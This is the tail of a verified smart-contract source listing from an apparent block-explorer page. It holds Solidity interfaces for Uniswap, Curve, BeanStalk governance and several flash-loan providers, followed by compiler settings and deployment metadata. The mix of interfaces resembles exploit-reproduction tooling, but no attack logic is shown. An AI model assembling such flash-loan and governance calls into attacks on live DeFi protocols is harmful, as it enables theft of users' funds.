    function removeLiquidityETH(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermit(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountToken, uint256 amountETH);\r
\r
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\r
        address token,\r
        uint256 liquidity,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountETH);\r
\r
    function removeLiquidityWithPermit(\r
        address tokenA,\r
        address tokenB,\r
        uint256 liquidity,\r
        uint256 amountAMin,\r
        uint256 amountBMin,\r
        address to,\r
        uint256 deadline,\r
        bool approveMax,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external returns (uint256 amountA, uint256 amountB);\r
\r
    function swapETHForExactTokens(\r
        uint256 amountOut,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable returns (uint256[] memory amounts);\r
\r
    function swapExactETHForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external payable;\r
\r
    function swapExactTokensForETH(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapExactTokensForTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function swapTokensForExactETH(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    function swapTokensForExactTokens(\r
        uint256 amountOut,\r
        uint256 amountInMax,\r
        address[] memory path,\r
        address to,\r
        uint256 deadline\r
    ) external returns (uint256[] memory amounts);\r
\r
    receive() external payable;\r
}\r
\r
interface ICurvePool {\r
    function A() external view returns (uint256 out);\r
\r
    function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);\r
\r
    function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external returns (uint256);\r
\r
    function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external returns (uint256);\r
\r
    function admin_fee() external view returns (uint256 out);\r
\r
    function balances(\r
        uint256 arg0\r
    ) external view returns (uint256 out);\r
\r
    function calc_token_amount(uint256[] memory amounts, bool is_deposit) external view returns (uint256 lp_tokens);\r
\r
    /// @dev vyper upgrade changed this on us\r
    function coins(\r
        int128 arg0\r
    ) external view returns (address out);\r
\r
    /// @dev vyper upgrade changed this on us\r
    function coins(\r
        uint256 arg0\r
    ) external view returns (address out);\r
\r
    /// @dev vyper upgrade changed this on us\r
    function underlying_coins(\r
        int128 arg0\r
    ) external view returns (address out);\r
\r
    /// @dev vyper upgrade changed this on us\r
    function underlying_coins(\r
        uint256 arg0\r
    ) external view returns (address out);\r
\r
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable;\r
\r
    // newer pools have this improved version of exchange_underlying\r
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);\r
\r
    function exchange(\r
        int128 i,\r
        int128 j,\r
        uint256 dx,\r
        uint256 min_dy,\r
        bool use_eth,\r
        address receiver\r
    ) external returns (uint256);\r
\r
    function exchange_underlying(int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
    function exchange_underlying(address pool, int128 i, int128 j, uint256 dx, uint256 min_dy) external;\r
\r
    function fee() external view returns (uint256 out);\r
\r
    function future_A() external view returns (uint256 out);\r
\r
    function future_fee() external view returns (uint256 out);\r
\r
    function future_admin_fee() external view returns (uint256 out);\r
\r
    function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);\r
\r
    function get_dy_underlying(int128 i, int128 j, uint256 dx) external view returns (uint256);\r
\r
    function get_virtual_price() external view returns (uint256 out);\r
\r
    function remove_liquidity(\r
        uint256 token_amount,\r
        uint256[2] memory min_amounts\r
    ) external returns (uint256[2] memory);\r
\r
    function remove_liquidity(\r
        uint256 token_amount,\r
        uint256[3] memory min_amounts\r
    ) external returns (uint256[3] memory);\r
\r
    function remove_liquidity_imbalance(uint256[3] memory amounts, uint256 max_burn_amount) external;\r
\r
    function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;\r
}\r
\r
interface IBeanStalk {\r
    function depositBeans(\r
        uint256\r
    ) external;\r
\r
    function emergencyCommit(\r
        uint32 bip\r
    ) external;\r
\r
    function deposit(address token, uint256 amount) external;\r
\r
    function vote(\r
        uint32 bip\r
    ) external;\r
\r
    function bip(\r
        uint32 bipId\r
    ) external view returns (address, uint32, uint32, bool, int256, uint128, uint256, uint256);\r
\r
    struct FacetCut {\r
        address facetAddress;\r
        uint8 action;\r
        bytes4[] functionSelectors;\r
    }\r
\r
    function propose(\r
        FacetCut[] calldata _diamondCut,\r
        address _init,\r
        bytes calldata _calldata,\r
        uint8 _pauseOrUnpause\r
    ) external;\r
\r
    function numberOfBips() external view returns (uint32);\r
}\r
\r
interface IMorphoBuleFlashLoan {\r
    function flashLoan(address token, uint256 assets, bytes calldata data) external;\r
}\r
\r
interface IUniswapV3Flash {\r
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;\r
}\r
\r
\r
interface IMakerDaoFlash {\r
    function flashLoan(\r
        address receiver,\r
        address token,\r
        uint256 amount,\r
        bytes calldata data\r
    ) external returns (bool);\r
}\r
interface IgetTargetAddress {\r
    function targetAdress()external view returns (address);\r
    function SetTargetAdress(address _target)external ;\r
}\r
interface IDODO {\r
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;\r
}\r
interface Uni_Pair_V2 {\r
    event Approval(address indexed owner, address indexed spender, uint256 value);\r
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);\r
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r
    event Swap(\r
        address indexed sender,\r
        uint256 amount0In,\r
        uint256 amount1In,\r
        uint256 amount0Out,\r
        uint256 amount1Out,\r
        address indexed to\r
    );\r
    event Sync(uint112 reserve0, uint112 reserve1);\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
    function DOMAIN_SEPARATOR() external view returns (bytes32);\r
\r
    function MINIMUM_LIQUIDITY() external view returns (uint256);\r
\r
    function PERMIT_TYPEHASH() external view returns (bytes32);\r
\r
    function allowance(address, address) external view returns (uint256);\r
\r
    function approve(address spender, uint256 value) external returns (bool);\r
\r
    function balanceOf(\r
        address\r
    ) external view returns (uint256);\r
\r
    function burn(\r
        address to\r
    ) external returns (uint256 amount0, uint256 amount1);\r
\r
    function decimals() external view returns (uint8);\r
\r
    function factory() external view returns (address);\r
\r
    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);\r
\r
    function initialize(address _token0, address _token1) external;\r
\r
    function kLast() external view returns (uint256);\r
\r
    function mint(\r
        address to\r
    ) external returns (uint256 liquidity);\r
\r
    function name() external view returns (string memory);\r
\r
    function nonces(\r
        address\r
    ) external view returns (uint256);\r
\r
    function permit(\r
        address owner,\r
        address spender,\r
        uint256 value,\r
        uint256 deadline,\r
        uint8 v,\r
        bytes32 r,\r
        bytes32 s\r
    ) external;\r
\r
    function price0CumulativeLast() external view returns (uint256);\r
\r
    function price1CumulativeLast() external view returns (uint256);\r
\r
    function skim(\r
        address to\r
    ) external;\r
\r
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\r
\r
    function symbol() external view returns (string memory);\r
\r
    function sync() external;\r
\r
    function token0() external view returns (address);\r
\r
    function token1() external view returns (address);\r
\r
    function totalSupply() external view returns (uint256);\r
\r
    function transfer(address to, uint256 value) external returns (bool);\r
\r
    function transferFrom(address from, address to, uint256 value) external returns (bool);\r
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, ERC721, Governance, Mintable, Burnable, Non-Fungible, Swap, Liquidity, Staking, Voting, Factory|addr:0x62b07f6e52ed254e3ac23f3a2fecfc30bff62168|verified:true|block:23680038|tx:0x25e26b93da73f3e7e2a8afabb57d702f9cd54fd35ac41ce2bb4ba5632b55e427|first_check:1761729460

Submitted on: 2025-10-29 10:17:41

Comments

Log in to comment.

No comments yet.